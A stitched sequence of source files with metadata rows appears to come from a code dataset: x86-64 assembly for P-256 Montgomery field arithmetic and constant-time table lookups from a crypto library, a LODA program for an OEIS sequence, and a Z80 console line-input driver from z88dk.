mov %r8, %rdx
shr $(32), %rdx
mov %r8, %rcx
mov %r8, %rbp
xor %r8, %r8
sub %rax, %rcx
sbb %rdx, %rbp
add %rax, %r9
adc %rdx, %r10
adc %rcx, %r11
adc %rbp, %r12
adc $(0), %r13
movq (8)(%rbx), %rax
mulq (%rsi)
add %rax, %r9
adc $(0), %rdx
mov %rdx, %rcx
movq (8)(%rbx), %rax
mulq (8)(%rsi)
add %rcx, %r10
adc $(0), %rdx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %rcx
movq (8)(%rbx), %rax
mulq (16)(%rsi)
add %rcx, %r11
adc $(0), %rdx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %rcx
movq (8)(%rbx), %rax
mulq (24)(%rsi)
add %rcx, %r12
adc $(0), %rdx
add %rax, %r12
adc %rdx, %r13
adc $(0), %r8
mov %r9, %rax
shl $(32), %rax
mov %r9, %rdx
shr $(32), %rdx
mov %r9, %rcx
mov %r9, %rbp
xor %r9, %r9
sub %rax, %rcx
sbb %rdx, %rbp
add %rax, %r10
adc %rdx, %r11
adc %rcx, %r12
adc %rbp, %r13
adc $(0), %r8
movq (16)(%rbx), %rax
mulq (%rsi)
add %rax, %r10
adc $(0), %rdx
mov %rdx, %rcx
movq (16)(%rbx), %rax
mulq (8)(%rsi)
add %rcx, %r11
adc $(0), %rdx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %rcx
movq (16)(%rbx), %rax
mulq (16)(%rsi)
add %rcx, %r12
adc $(0), %rdx
add %rax, %r12
adc $(0), %rdx
mov %rdx, %rcx
movq (16)(%rbx), %rax
mulq (24)(%rsi)
add %rcx, %r13
adc $(0), %rdx
add %rax, %r13
adc %rdx, %r8
adc $(0), %r9
mov %r10, %rax
shl $(32), %rax
mov %r10, %rdx
shr $(32), %rdx
mov %r10, %rcx
mov %r10, %rbp
xor %r10, %r10
sub %rax, %rcx
sbb %rdx, %rbp
add %rax, %r11
adc %rdx, %r12
adc %rcx, %r13
adc %rbp, %r8
adc $(0), %r9
movq (24)(%rbx), %rax
mulq (%rsi)
add %rax, %r11
adc $(0), %rdx
mov %rdx, %rcx
movq (24)(%rbx), %rax
mulq (8)(%rsi)
add %rcx, %r12
adc $(0), %rdx
add %rax, %r12
adc $(0), %rdx
mov %rdx, %rcx
movq (24)(%rbx), %rax
mulq (16)(%rsi)
add %rcx, %r13
adc $(0), %rdx
add %rax, %r13
adc $(0), %rdx
mov %rdx, %rcx
movq (24)(%rbx), %rax
mulq (24)(%rsi)
add %rcx, %r8
adc $(0), %rdx
add %rax, %r8
adc %rdx, %r9
adc $(0), %r10
mov %r11, %rax
shl $(32), %rax
mov %r11, %rdx
shr $(32), %rdx
mov %r11, %rcx
mov %r11, %rbp
xor %r11, %r11
sub %rax, %rcx
sbb %rdx, %rbp
add %rax, %r12
adc %rdx, %r13
adc %rcx, %r8
adc %rbp, %r9
adc $(0), %r10
movq Lpoly+0(%rip), %rax
movq Lpoly+8(%rip), %rdx
movq Lpoly+16(%rip), %rcx
movq Lpoly+24(%rip), %rbp
mov %r12, %rbx
mov %r13, %r11
mov %r8, %r14
mov %r9, %r15
sub %rax, %rbx
sbb %rdx, %r11
sbb %rcx, %r14
sbb %rbp, %r15
sbb $(0), %r10
cmovnc %rbx, %r12
cmovnc %r11, %r13
cmovnc %r14, %r8
cmovnc %r15, %r9
movq %r12, (%rdi)
movq %r13, (8)(%rdi)
movq %r8, (16)(%rdi)
movq %r9, (24)(%rdi)
ret
.p2align 6, 0x90
.globl p256r1_mul_montl
.type p256r1_mul_montl, @function
p256r1_mul_montl:
push %rbp
push %rbx
push %r12
push %r13
push %r14
push %r15
mov %rdx, %rbx
call p256r1_mmull
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbx
pop %rbp
ret
.Lfe7:
.size p256r1_mul_montl, .Lfe7-(p256r1_mul_montl)
.p2align 6, 0x90
.globl p256r1_to_mont
.type p256r1_to_mont, @function
p256r1_to_mont:
push %rbp
push %rbx
push %r12
push %r13
push %r14
push %r15
lea LRR(%rip), %rbx
call p256r1_mmull
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbx
pop %rbp
ret
.Lfe8:
.size p256r1_to_mont, .Lfe8-(p256r1_to_mont)
.p2align 6, 0x90
p256r1_mmulx:
xor %r13, %r13
xor %rdx, %rdx
movq (%rbx), %rdx
mulxq (%rsi), %r8, %r9
mulxq (8)(%rsi), %rcx, %r10
add %rcx, %r9
mulxq (16)(%rsi), %rcx, %r11
adc %rcx, %r10
mulxq (24)(%rsi), %rcx, %r12
adc %rcx, %r11
adc $(0), %r12
mov %r8, %rax
shl $(32), %rax
mov %r8, %rdx
shr $(32), %rdx
mov %r8, %rcx
mov %r8, %rbp
xor %r8, %r8
sub %rax, %rcx
sbb %rdx, %rbp
add %rax, %r9
adc %rdx, %r10
adc %rcx, %r11
adc %rbp, %r12
adc $(0), %r13
movq (8)(%rbx), %rdx
mulxq (%rsi), %rcx, %rbp
adcx %rcx, %r9
adox %rbp, %r10
mulxq (8)(%rsi), %rcx, %rbp
adcx %rcx, %r10
adox %rbp, %r11
mulxq (16)(%rsi), %rcx, %rbp
adcx %rcx, %r11
adox %rbp, %r12
mulxq (24)(%rsi), %rcx, %rbp
adcx %rcx, %r12
adox %rbp, %r13
adcx %r8, %r13
adox %r8, %r8
adc $(0), %r8
mov %r9, %rax
shl $(32), %rax
mov %r9, %rdx
shr $(32), %rdx
mov %r9, %rcx
mov %r9, %rbp
xor %r9, %r9
sub %rax, %rcx
sbb %rdx, %rbp
add %rax, %r10
adc %rdx, %r11
adc %rcx, %r12
adc %rbp, %r13
adc $(0), %r8
movq (16)(%rbx), %rdx
mulxq (%rsi), %rcx, %rbp
adcx %rcx, %r10
adox %rbp, %r11
mulxq (8)(%rsi), %rcx, %rbp
adcx %rcx, %r11
adox %rbp, %r12
mulxq (16)(%rsi), %rcx, %rbp
adcx %rcx, %r12
adox %rbp, %r13
mulxq (24)(%rsi), %rcx, %rbp
adcx %rcx, %r13
adox %rbp, %r8
adcx %r9, %r8
adox %r9, %r9
adc $(0), %r9
mov %r10, %rax
shl $(32), %rax
mov %r10, %rdx
shr $(32), %rdx
mov %r10, %rcx
mov %r10, %rbp
xor %r10, %r10
sub %rax, %rcx
sbb %rdx, %rbp
add %rax, %r11
adc %rdx, %r12
adc %rcx, %r13
adc %rbp, %r8
adc $(0), %r9
movq (24)(%rbx), %rdx
mulxq (%rsi), %rcx, %rbp
adcx %rcx, %r11
adox %rbp, %r12
mulxq (8)(%rsi), %rcx, %rbp
adcx %rcx, %r12
adox %rbp, %r13
mulxq (16)(%rsi), %rcx, %rbp
adcx %rcx, %r13
adox %rbp, %r8
mulxq (24)(%rsi), %rcx, %rbp
adcx %rcx, %r8
adox %rbp, %r9
adcx %r10, %r9
adox %r10, %r10
adc $(0), %r10
mov %r11, %rax
shl $(32), %rax
mov %r11, %rdx
shr $(32), %rdx
mov %r11, %rcx
mov %r11, %rbp
xor %r11, %r11
sub %rax, %rcx
sbb %rdx, %rbp
add %rax, %r12
adc %rdx, %r13
adc %rcx, %r8
adc %rbp, %r9
adc $(0), %r10
movq Lpoly+0(%rip), %rax
movq Lpoly+8(%rip), %rdx
movq Lpoly+16(%rip), %rcx
movq Lpoly+24(%rip), %rbp
mov %r12, %rbx
mov %r13, %r11
mov %r8, %r14
mov %r9, %r15
sub %rax, %rbx
sbb %rdx, %r11
sbb %rcx, %r14
sbb %rbp, %r15
sbb $(0), %r10
cmovnc %rbx, %r12
cmovnc %r11, %r13
cmovnc %r14, %r8
cmovnc %r15, %r9
movq %r12, (%rdi)
movq %r13, (8)(%rdi)
movq %r8, (16)(%rdi)
movq %r9, (24)(%rdi)
ret
.p2align 6, 0x90
.globl p256r1_mul_montx
.type p256r1_mul_montx, @function
p256r1_mul_montx:
push %rbp
push %rbx
push %r12
push %r13
push %r14
push %r15
mov %rdx, %rbx
call p256r1_mmulx
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbx
pop %rbp
ret
.Lfe9:
.size p256r1_mul_montx, .Lfe9-(p256r1_mul_montx)
.p2align 6, 0x90
.globl p256r1_sqr_montl
.type p256r1_sqr_montl, @function
p256r1_sqr_montl:
push %rbp
push %rbx
push %r12
push %r13
push %r14
push %r15
movq (%rsi), %rbx
movq (8)(%rsi), %rax
mul %rbx
mov %rax, %r9
mov %rdx, %r10
movq (16)(%rsi), %rax
mul %rbx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r11
movq (24)(%rsi), %rax
mul %rbx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r12
movq (8)(%rsi), %rbx
movq (16)(%rsi), %rax
mul %rbx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %rbp
movq (24)(%rsi), %rax
mul %rbx
add %rax, %r12
adc $(0), %rdx
add %rbp, %r12
adc $(0), %rdx
mov %rdx, %r13
movq (16)(%rsi), %rbx
movq (24)(%rsi), %rax
mul %rbx
add %rax, %r13
adc $(0), %rdx
mov %rdx, %r14
xor %r15, %r15
shld $(1), %r14, %r15
shld $(1), %r13, %r14
shld $(1), %r12, %r13
shld $(1), %r11, %r12
shld $(1), %r10, %r11
shld $(1), %r9, %r10
shl $(1), %r9
movq (%rsi), %rax
mul %rax
mov %rax, %r8
add %rdx, %r9
adc $(0), %r10
movq (8)(%rsi), %rax
mul %rax
add %rax, %r10
adc %rdx, %r11
adc $(0), %r12
movq (16)(%rsi), %rax
mul %rax
add %rax, %r12
adc %rdx, %r13
adc $(0), %r14
movq (24)(%rsi), %rax
mul %rax
add %rax, %r14
adc %rdx, %r15
mov %r8, %rcx
shl $(32), %rcx
mov %r8, %rbp
shr $(32), %rbp
mov %r8, %rbx
mov %r8, %rdx
xor %r8, %r8
sub %rcx, %rbx
sbb %rbp, %rdx
add %rcx, %r9
adc %rbp, %r10
adc %rbx, %r11
adc %rdx, %r12
adc $(0), %r8
mov %r9, %rcx
shl $(32), %rcx
mov %r9, %rbp
shr $(32), %rbp
mov %r9, %rbx
mov %r9, %rdx
xor %r9, %r9
sub %rcx, %rbx
sbb %rbp, %rdx
add %rcx, %r10
adc %rbp, %r11
adc %rbx, %r12
adc %rdx, %r13
adc $(0), %r9
add %r8, %r13
adc $(0), %r9
mov %r10, %rcx
shl $(32), %rcx
mov %r10, %rbp
shr $(32), %rbp
mov %r10, %rbx
mov %r10, %rdx
xor %r10, %r10
sub %rcx, %rbx
sbb %rbp, %rdx
add %rcx, %r11
adc %rbp, %r12
adc %rbx, %r13
adc %rdx, %r14
adc $(0), %r10
add %r9, %r14
adc $(0), %r10
mov %r11, %rcx
shl $(32), %rcx
mov %r11, %rbp
shr $(32), %rbp
mov %r11, %rbx
mov %r11, %rdx
xor %r11, %r11
sub %rcx, %rbx
sbb %rbp, %rdx
add %rcx, %r12
adc %rbp, %r13
adc %rbx, %r14
adc %rdx, %r15
adc $(0), %r11
add %r10, %r15
adc $(0), %r11
movq Lpoly+0(%rip), %rcx
movq Lpoly+8(%rip), %rbp
movq Lpoly+16(%rip), %rbx
movq Lpoly+24(%rip), %rdx
mov %r12, %rax
mov %r13, %r8
mov %r14, %r9
mov %r15, %r10
sub %rcx, %rax
sbb %rbp, %r8
sbb %rbx, %r9
sbb %rdx, %r10
sbb $(0), %r11
cmovnc %rax, %r12
cmovnc %r8, %r13
cmovnc %r9, %r14
cmovnc %r10, %r15
movq %r12, (%rdi)
movq %r13, (8)(%rdi)
movq %r14, (16)(%rdi)
movq %r15, (24)(%rdi)
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbx
pop %rbp
ret
.Lfe10:
.size p256r1_sqr_montl, .Lfe10-(p256r1_sqr_montl)
.p2align 6, 0x90
.globl p256r1_sqr_montx
.type p256r1_sqr_montx, @function
p256r1_sqr_montx:
push %rbp
push %rbx
push %r12
push %r13
push %r14
push %r15
movq (%rsi), %rdx
mulxq (8)(%rsi), %r9, %r10
mulxq (16)(%rsi), %rcx, %r11
add %rcx, %r10
mulxq (24)(%rsi), %rcx, %r12
adc %rcx, %r11
adc $(0), %r12
movq (8)(%rsi), %rdx
xor %r13, %r13
mulxq (16)(%rsi), %rcx, %rbp
adcx %rcx, %r11
adox %rbp, %r12
mulxq (24)(%rsi), %rcx, %rbp
adcx %rcx, %r12
adox %rbp, %r13
adc $(0), %r13
movq (16)(%rsi), %rdx
mulxq (24)(%rsi), %rcx, %r14
add %rcx, %r13
adc $(0), %r14
xor %r15, %r15
shld $(1), %r14, %r15
shld $(1), %r13, %r14
shld $(1), %r12, %r13
shld $(1), %r11, %r12
shld $(1), %r10, %r11
shld $(1), %r9, %r10
shl $(1), %r9
xor %r8, %r8
movq (%rsi), %rdx
mulx %rdx, %r8, %rbp
adcx %rbp, %r9
movq (8)(%rsi), %rdx
mulx %rdx, %rcx, %rbp
adcx %rcx, %r10
adcx %rbp, %r11
movq (16)(%rsi), %rdx
mulx %rdx, %rcx, %rbp
adcx %rcx, %r12
adcx %rbp, %r13
movq (24)(%rsi), %rdx
mulx %rdx, %rcx, %rbp
adcx %rcx, %r14
adcx %rbp, %r15
mov %r8, %rcx
shl $(32), %rcx
mov %r8, %rbp
shr $(32), %rbp
mov %r8, %rbx
mov %r8, %rdx
xor %r8, %r8
sub %rcx, %rbx
sbb %rbp, %rdx
add %rcx, %r9
adc %rbp, %r10
adc %rbx, %r11
adc %rdx, %r12
adc $(0), %r8
mov %r9, %rcx
shl $(32), %rcx
mov %r9, %rbp
shr $(32), %rbp
mov %r9, %rbx
mov %r9, %rdx
xor %r9, %r9
sub %rcx, %rbx
sbb %rbp, %rdx
add %rcx, %r10
adc %rbp, %r11
adc %rbx, %r12
adc %rdx, %r13
adc $(0), %r9
add %r8, %r13
adc $(0), %r9
mov %r10, %rcx
shl $(32), %rcx
mov %r10, %rbp
shr $(32), %rbp
mov %r10, %rbx
mov %r10, %rdx
xor %r10, %r10
sub %rcx, %rbx
sbb %rbp, %rdx
add %rcx, %r11
adc %rbp, %r12
adc %rbx, %r13
adc %rdx, %r14
adc $(0), %r10
add %r9, %r14
adc $(0), %r10
mov %r11, %rcx
shl $(32), %rcx
mov %r11, %rbp
shr $(32), %rbp
mov %r11, %rbx
mov %r11, %rdx
xor %r11, %r11
sub %rcx, %rbx
sbb %rbp, %rdx
add %rcx, %r12
adc %rbp, %r13
adc %rbx, %r14
adc %rdx, %r15
adc $(0), %r11
add %r10, %r15
adc $(0), %r11
movq Lpoly+0(%rip), %rcx
movq Lpoly+8(%rip), %rbp
movq Lpoly+16(%rip), %rbx
movq Lpoly+24(%rip), %rdx
mov %r12, %rax
mov %r13, %r8
mov %r14, %r9
mov %r15, %r10
sub %rcx, %rax
sbb %rbp, %r8
sbb %rbx, %r9
sbb %rdx, %r10
sbb $(0), %r11
cmovnc %rax, %r12
cmovnc %r8, %r13
cmovnc %r9, %r14
cmovnc %r10, %r15
movq %r12, (%rdi)
movq %r13, (8)(%rdi)
movq %r14, (16)(%rdi)
movq %r15, (24)(%rdi)
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbx
pop %rbp
ret
.Lfe11:
.size p256r1_sqr_montx, .Lfe11-(p256r1_sqr_montx)
.p2align 6, 0x90
.globl p256r1_mont_back
.type p256r1_mont_back, @function
p256r1_mont_back:
push %r12
push %r13
movq (%rsi), %r10
movq (8)(%rsi), %r11
movq (16)(%rsi), %r12
movq (24)(%rsi), %r13
xor %r8, %r8
xor %r9, %r9
mov %r10, %rax
shl $(32), %rax
mov %r10, %rdx
shr $(32), %rdx
mov %r10, %rcx
mov %r10, %rsi
xor %r10, %r10
sub %rax, %rcx
sbb %rdx, %rsi
add %rax, %r11
adc %rdx, %r12
adc %rcx, %r13
adc %rsi, %r8
adc $(0), %r9
mov %r11, %rax
shl $(32), %rax
mov %r11, %rdx
shr $(32), %rdx
mov %r11, %rcx
mov %r11, %rsi
xor %r11, %r11
sub %rax, %rcx
sbb %rdx, %rsi
add %rax, %r12
adc %rdx, %r13
adc %rcx, %r8
adc %rsi, %r9
adc $(0), %r10
mov %r12, %rax
shl $(32), %rax
mov %r12, %rdx
shr $(32), %rdx
mov %r12, %rcx
mov %r12, %rsi
xor %r12, %r12
sub %rax, %rcx
sbb %rdx, %rsi
add %rax, %r13
adc %rdx, %r8
adc %rcx, %r9
adc %rsi, %r10
adc $(0), %r11
mov %r13, %rax
shl $(32), %rax
mov %r13, %rdx
shr $(32), %rdx
mov %r13, %rcx
mov %r13, %rsi
xor %r13, %r13
sub %rax, %rcx
sbb %rdx, %rsi
add %rax, %r8
adc %rdx, %r9
adc %rcx, %r10
adc %rsi, %r11
adc $(0), %r12
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
mov %r11, %rsi
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbbq Lpoly+24(%rip), %rsi
sbb $(0), %r12
cmovnc %rax, %r8
cmovnc %rdx, %r9
cmovnc %rcx, %r10
cmovnc %rsi, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
pop %r13
pop %r12
ret
.Lfe12:
.size p256r1_mont_back, .Lfe12-(p256r1_mont_back)
.p2align 6, 0x90
.globl p256r1_select_pp_w5
.type p256r1_select_pp_w5, @function
p256r1_select_pp_w5:
push %r12
push %r13
movdqa LOne(%rip), %xmm0
movdqa %xmm0, %xmm8
movd %edx, %xmm1
pshufd $(0), %xmm1, %xmm1
pxor %xmm2, %xmm2
pxor %xmm3, %xmm3
pxor %xmm4, %xmm4
pxor %xmm5, %xmm5
pxor %xmm6, %xmm6
pxor %xmm7, %xmm7
mov $(16), %rcx
.Lselect_loop_sse_w5gas_13:
movdqa %xmm8, %xmm15
pcmpeqd %xmm1, %xmm15
paddd %xmm0, %xmm8
movdqa (%rsi), %xmm9
movdqa (16)(%rsi), %xmm10
movdqa (32)(%rsi), %xmm11
movdqa (48)(%rsi), %xmm12
movdqa (64)(%rsi), %xmm13
movdqa (80)(%rsi), %xmm14
add $(96), %rsi
pand %xmm15, %xmm9
pand %xmm15, %xmm10
pand %xmm15, %xmm11
pand %xmm15, %xmm12
pand %xmm15, %xmm13
pand %xmm15, %xmm14
por %xmm9, %xmm2
por %xmm10, %xmm3
por %xmm11, %xmm4
por %xmm12, %xmm5
por %xmm13, %xmm6
por %xmm14, %xmm7
dec %rcx
jnz .Lselect_loop_sse_w5gas_13
movdqu %xmm2, (%rdi)
movdqu %xmm3, (16)(%rdi)
movdqu %xmm4, (32)(%rdi)
movdqu %xmm5, (48)(%rdi)
movdqu %xmm6, (64)(%rdi)
movdqu %xmm7, (80)(%rdi)
pop %r13
pop %r12
ret
.Lfe13:
.size p256r1_select_pp_w5, .Lfe13-(p256r1_select_pp_w5)
.p2align 6, 0x90
.globl p256r1_select_ap_w7
.type p256r1_select_ap_w7, @function
p256r1_select_ap_w7:
push %r12
push %r13
movdqa LOne(%rip), %xmm0
pxor %xmm2, %xmm2
pxor %xmm3, %xmm3
pxor %xmm4, %xmm4
pxor %xmm5, %xmm5
movdqa %xmm0, %xmm8
movd %edx, %xmm1
pshufd $(0), %xmm1, %xmm1
mov $(64), %rcx
.Lselect_loop_sse_w7gas_14:
movdqa %xmm8, %xmm15
pcmpeqd %xmm1, %xmm15
paddd %xmm0, %xmm8
movdqa (%rsi), %xmm9
movdqa (16)(%rsi), %xmm10
movdqa (32)(%rsi), %xmm11
movdqa (48)(%rsi), %xmm12
add $(64), %rsi
pand %xmm15, %xmm9
pand %xmm15, %xmm10
pand %xmm15, %xmm11
pand %xmm15, %xmm12
por %xmm9, %xmm2
por %xmm10, %xmm3
por %xmm11, %xmm4
por %xmm12, %xmm5
dec %rcx
jnz .Lselect_loop_sse_w7gas_14
movdqu %xmm2, (%rdi)
movdqu %xmm3, (16)(%rdi)
movdqu %xmm4, (32)(%rdi)
movdqu %xmm5, (48)(%rdi)
pop %r13
pop %r12
ret
.Lfe14:
.size p256r1_select_ap_w7, .Lfe14-(p256r1_select_ap_w7)
| 25.726528 | 87 | 0.384185 | [
"Apache-2.0"
] | idesai/ipp-crypto | sources/ippcp/asm_intel64_gas_converted/linux/nonpic/n0/singlecpu/pcpp256r1funcs_montas.asm | 34,525 | Assembly |
; A243036: Number of entries of length n in A240602.
; 2,1,2,1,2,2,4,1,2,2,4,2,4,4,8,1,2,2,4,2,4,4,8,2,4,4,8,4,8,8,16,1,2,2,4,2,4,4,8,2,4,4,8,4,8,8,16,2,4,4,8,4,8,8,16,4,8,8,16,8,16,16,32,1,2,2,4,2,4,4,8,2,4,4,8,4,8,8,16,2,4,4,8,4
mov $4,2
mov $5,$0
lpb $4
mov $0,$5
sub $4,1
add $0,$4
sub $0,1
cal $0,267610 ; Total number of OFF (white) cells after n iterations of the "Rule 182" elementary cellular automaton starting with a single ON (black) cell.
add $0,1
mov $2,2
add $2,$0
add $2,$0
mov $3,$4
mov $6,$2
lpb $3
mov $1,$6
sub $3,1
lpe
lpe
lpb $5
sub $1,$6
mov $5,0
lpe
div $1,4
add $1,1
| 21.758621 | 177 | 0.576862 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/243/A243036.asm | 631 | Assembly |
INCLUDE "config_private.inc"
SECTION code_driver
SECTION code_driver_terminal_input
PUBLIC console_01_input_proc_getc
EXTERN console_01_input_proc_echo, l_setmem_hl, asm_b_array_clear
EXTERN console_01_input_proc_oterm, l_inc_sp, l_jpix, l_offset_ix_de
EXTERN asm_b_array_push_back, asm_b_array_at, asm_toupper, error_zc, error_mc
EXTERN device_return_error, device_set_error
console_01_input_proc_getc:
; enter : ix = & FDSTRUCT.JP
;
; exit : success
;
; a = hl = char
; carry reset
;
; fail
;
; hl = 0 on stream error, -1 on eof
; carry set
;
; uses : af, hl
push bc
push de
call getc
pop de
pop bc
ret c ; if error
ld l,a
ld h,0 ; a = hl = char
ret
getc:
bit 5,(ix+6)
jr nz, line_mode
char_mode:
call state_machine_0 ; get char from device
ret c ; if driver error
push af ; save char
call console_01_input_proc_echo ; output to terminal
pop af ; a = char
ret
line_mode:
; try to get char from edit buffer
ld hl,17
call l_offset_ix_de ; hl = & FDSTRUCT.read_index
ld c,(hl)
inc hl
ld b,(hl) ; bc = read_index
inc hl ; hl = & FDSTRUCT.b_array
; bc = read_index
; hl = & FDSTRUCT.b_array
ld a,(hl) ; examine b_array.data
inc hl
or (hl)
dec hl
jr z, char_mode ; if edit buffer does not exist
bit 6,(ix+7)
jr nz, line_mode_readline ; if ioctl pushed edit buffer
call line_mode_editbuf_1
ret nc ; if char retrieved from edit buffer
line_mode_readline:
; hl = & FDSTRUCT.b_array
dec hl
dec hl ; hl = & FDSTRUCT.read_index
xor a
call l_setmem_hl - 4 ; FDSTRUCT.read_index = 0
push hl ; save b_array *
ld a,ITERM_MSG_READLINE_BEGIN
call console_01_input_proc_oterm ; inform output terminal that new line is starting
pop hl ; hl = b_array *
push hl
bit 6,(ix+7)
jr z, line_mode_readline_1
res 6,(ix+7)
; ioctl pushed edit buffer into terminal
; need to echo buffer chars to output terminal
ld e,(hl)
inc hl
ld d,(hl) ; de = b_array.data
inc hl
ld c,(hl)
inc hl
ld b,(hl) ; bc = b_array.size
ex de,hl
push_loop:
ld a,b
or c
jr z, readline_loop
ld a,(hl)
cp CHAR_LF
jr nz, put_raw_0
ld a,'?' ; changed escaped LF to '?'
put_raw_0:
push bc
push hl
call console_01_input_proc_echo ; send char to output terminal
pop hl
pop bc
inc hl
dec bc
jr push_loop
line_mode_readline_1:
call asm_b_array_clear ; empty the edit buffer
readline_loop:
; stack = & FDSTRUCT.b_array
; print cursor
ld a,(ix+6) ; a = ioctl_f0 flags
add a,a
jr nc, cursor_print_end ; if echo off
bit 1,(ix+7)
jr z, cursor_print_end ; if no cursor
ld c,CHAR_CURSOR_LC
and $30 ; isolate cook and caps flags
cp $30
jr nz, cursor_print ; if !cook || !caps
ld c,CHAR_CURSOR_UC
cursor_print:
ld a,ITERM_MSG_PRINT_CURSOR
call console_01_input_proc_oterm ; instruct output terminal to print cursor
cursor_print_end:
; read char from device
; stack = & FDSTRUCT.b_array
call state_machine_0 ; a = next char
; erase cursor
bit 7,(ix+6)
jr z, cursor_erase_end ; if echo off
bit 1,(ix+7)
jr z, cursor_erase_end ; if no cursor
pop hl
push hl ; hl = & FDSTRUCT.b_array
push af
call edit_buff_params ; de = char *edit_buffer, bc = int edit_buffer_len
ld a,ITERM_MSG_ERASE_CURSOR
bit 6,(ix+6)
jr z, cursor_not_pwd ; if not password mode
ld a,ITERM_MSG_ERASE_CURSOR_PWD
ld e,CHAR_PASSWORD
cursor_not_pwd:
call console_01_input_proc_oterm ; instruct output terminal to erase cursor
pop af
cursor_erase_end:
; process char
; a = char (carry on error with hl = 0 or -1)
; stack = & FDSTRUCT.b_array
jr c, readline_error ; if device reports error
bit 7,(ix+7)
jr nz, escaped_char ; if this is an escaped char
cp CHAR_CAPS
jr z, readline_loop ; change cursor
cp CHAR_BS
jr nz, escaped_char ; if not backspace
; backspace
; stack = & FDSTRUCT.b_array
pop hl
push hl
call edit_buff_params
; de = b_array.data
; bc = b_array.size
; stack = & FDSTRUCT.b_array
ld a,b
or c
jr nz, not_empty ; if edit buffer is not empty
; cannot backspace
bell:
ld a,ITERM_MSG_BELL
call console_01_input_proc_oterm ; send to output terminal
jr readline_loop
not_empty:
bit 7,(ix+6)
jr z, skip_bs ; if echo off
push bc ; save b_array.size
ld a,ITERM_MSG_BS
bit 6,(ix+6)
jr z, not_password_mode
ld a,ITERM_MSG_BS_PWD
ld e,CHAR_PASSWORD
not_password_mode:
call console_01_input_proc_oterm ; instruct output terminal to backspace
pop bc ; bc = b_array.size
skip_bs:
pop hl
push hl
inc hl
inc hl ; hl = & b_array.size
dec bc ; b_array.size --
ld (hl),c
inc hl
ld (hl),b ; erase last char of edit buffer
jp readline_loop
escaped_char:
; a = char
; stack = & FDSTRUCT.b_array
; first check if char is rejected by driver
ld c,a
push bc
ld a,ITERM_MSG_REJECT
call l_jpix
pop bc
jr nc, bell ; if terminal rejected the char
; append char to edit buffer
; c = char
; stack = & FDSTRUCT.b_array
pop hl
push hl
call asm_b_array_push_back ; append char to edit buffer
jr c, bell ; if failed because buffer is full
; c = char
; stack = & FDSTRUCT.b_array
ld a,c
bit 7,(ix+7)
jr z, put_raw ; if not an escaped char
cp CHAR_LF
jr nz, put_raw
ld a,'?' ; changed escaped LF to '?'
put_raw:
push af
ld c,a
ld a,ITERM_MSG_INTERRUPT
call l_jpix
pop bc
jr nc, interrupt_received
ld a,b
push af
call console_01_input_proc_echo ; send char to output terminal
pop af ; a = char
cp CHAR_LF
jp nz, readline_loop
readline_done:
readline_error:
; return a char from the edit buffer
; hl = 0 or -1 if error
; stack = & FDSTRUCT.b_array
push hl
ld a,ITERM_MSG_READLINE_END
call console_01_input_proc_oterm ; inform output terminal that editing is done
pop hl
ex (sp),hl ; hl = & FDSTRUCT.b_array
ld bc,0 ; read_index = 0
call line_mode_editbuf_1
jp nc, l_inc_sp - 2 ; if char successfully retrieved from buffer
pop hl ; hl = 0 or -1
ret
interrupt_received:
set 0,(ix+6) ; place device in error state
jr readline_done
edit_buff_params:
; hl = & FDSTRUCT.b_array
ld e,(hl)
inc hl
ld d,(hl) ; de = b_array.data
inc hl
ld c,(hl)
inc hl
ld b,(hl) ; bc = b_array.size
ret
line_mode_editbuf_1:
; enter : bc = read_index
; hl = & FDSTRUCT.b_array
;
; exit : success char available
;
; a = char from edit buffer
; carry reset
;
; fail no char in edit buffer
;
; hl = & FDSTRUCT.b_array
; carry set
push hl ; save & FDSTRUCT.b_array
call asm_b_array_at ; read char in edit buffer at index bc
ld a,l ; a = char from edit buffer
pop hl ; hl = & FDSTRUCT.b_array
ret c ; if char not available
inc bc ; read_index ++
dec hl
ld (hl),b
dec hl
ld (hl),c ; store new read_index
ret
state_machine_0:
; return char in A or carry set with hl = 0 or -1 on driver error
res 7,(ix+7) ; clear escaped char indicator
ld a,(ix+16) ; a = pending char
or a
jr z, state_machine_1 ; if no pending char
ld (ix+16),0 ; clear pending char
jr state_machine_2 ; process pending char
state_machine_1:
ld a,(ix+6)
and $03 ; check device state
jp nz, device_return_error
ld a,ITERM_MSG_GETC
call l_jpix ; get char from device
jp c, device_set_error
state_machine_2:
cp CHAR_CR
jr nz, not_cr
bit 0,(ix+7)
ret z ; if not doing crlf conversion
jr state_machine_1 ; reject CR
not_cr:
or a ; indicate no error
bit 4,(ix+6)
ret z ; if cook mode disabled
sm_cook:
cp CHAR_CAPS
jr z, sm_capslock
cp CHAR_ESC
jr z, sm_escape
; regular character
bit 3,(ix+6)
call nz, asm_toupper ; if caps lock active
or a ; indicate no error
ret
sm_capslock:
ld a,(ix+6)
xor $08 ; toggle caps lock bit
ld (ix+6),a
and $20
jr z, state_machine_1 ; read another if char mode
ld a,CHAR_CAPS
ret
sm_escape:
ld a,ITERM_MSG_GETC
call l_jpix ; get char from device
set 7,(ix+7) ; indicate an escaped char
ret nc ; return raw char if no error
sm_esc_exit:
ld a,CHAR_ESC ; store ESC as pending char
; fall through to sm_exit
sm_exit:
; stateful exit
ld (ix+16),a ; store pending char
ret
| 19.254717 | 87 | 0.548653 | [
"BSD-2-Clause"
] | ByteProject/Puddle-BuildTools | FictionTools/z88dk/libsrc/_DEVELOPMENT/drivers/terminal/console_01/input/console_01_input_terminal/console_01_input_proc_getc.asm | 10,205 | Assembly |
; A016742: Even squares: a(n) = (2*n)^2.
